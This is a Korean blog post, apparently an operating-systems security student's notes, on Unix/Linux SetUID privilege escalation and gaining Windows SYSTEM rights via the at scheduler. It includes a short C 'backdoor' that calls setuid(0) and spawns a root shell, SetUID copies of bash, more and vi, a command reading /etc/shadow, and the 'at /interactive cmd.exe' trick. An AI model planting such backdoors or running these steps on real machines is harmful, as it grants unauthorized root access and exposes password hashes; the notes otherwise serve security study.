-
============리눅스/유닉스의 권한 상승==============
RUID(Real UID), RGID(Real GID) : 변함 x
EUID(Effective UID), EGID(Effective GID) : 변함
shadow 파일 권한 000 root root
passwd 명령을 실행할 때는 우리 모두 관리좌와 같은 권한을 갖게 된다. 즉, RUID가 500번이라도 EUID는 0이 되는 것이다.
passwd는 SetUID 권한이 주어짐
+ 참고 : SetUID는 유닉스 최초의 특허로 알려짐
find 명령으로 SetUID 비트를 가진 파일 검색 방법
# find / -user root -perm +4000
<SetUID를 이용한 해킹 기법 익히기>
1. SetUID 비트를 가진 셸의 생성
# cp /bin/bash /test/bash
# chmod 4755
2. 일반 사용자 계정으로 SetUID 비트가 주어진 셸 실행
# id
# ./bash
# id
3. SetUID 비트를 이용한 bash 셸 획득
backdoor.c
#include<stdio.h>
main(){
setuid(0);
setgid(0);
system("/bin/bash");
}
# gcc -o backdoor backdoor.c
# chmod 4755 backdoor
4. SetUID 비트가 할당된 more 명령을 이용한 권한상승
# chmod 4755 /bin/more
# id
# more /etc/shadow
5. SetUID 비트가 할당된 vi 에디터를 이용한 권한 상승
vibackdoor.c
#include<stdio.h>
main(){
setuid(0);
setgid(0);
system("/bin/vi");
}
# gcc -o vibackdoor vibackdoor.c
# chmod 4755 vibackdoor
============윈도우의 권한 상승==============
'상위 권한으로 수행되고 있는 프로그램의 프로세스에 다른 작업 끼워넣기'
<SYSTEM 권한 획득하기>
1. at을 통한 프로그램 등록
at
at 21:00 /interactive "cmd.exe"
2. SYSTEM 권한 획득
'C:\WINDOWS\system32\svchost.exe'
3. SYSTEM 권한의 확장
[프로세스] 탭에서 explorer.exe를 선택한 뒤에 <프로세스 끝내기> 버튼으로 프로세스를 죽여보자.
explorer.exe를 죽이면 시스템의 화면이 모두 사라지나, at 명령으로 띄운 명령 창은 남아 있다. 해당 명령 창에서 explorer.exe를 다시 실행해보자.
다시 배경화면이 살아나기 시작할 것이다. <시작> 버튼을 눌러보면 SYSTEM 계정으로 바뀌었을 것이다.
'운영체제보안' 카테고리의 다른 글
중간고사 정리 (0) 2016.04.14 윈도우 인증과 패스워드 (0) 2016.04.10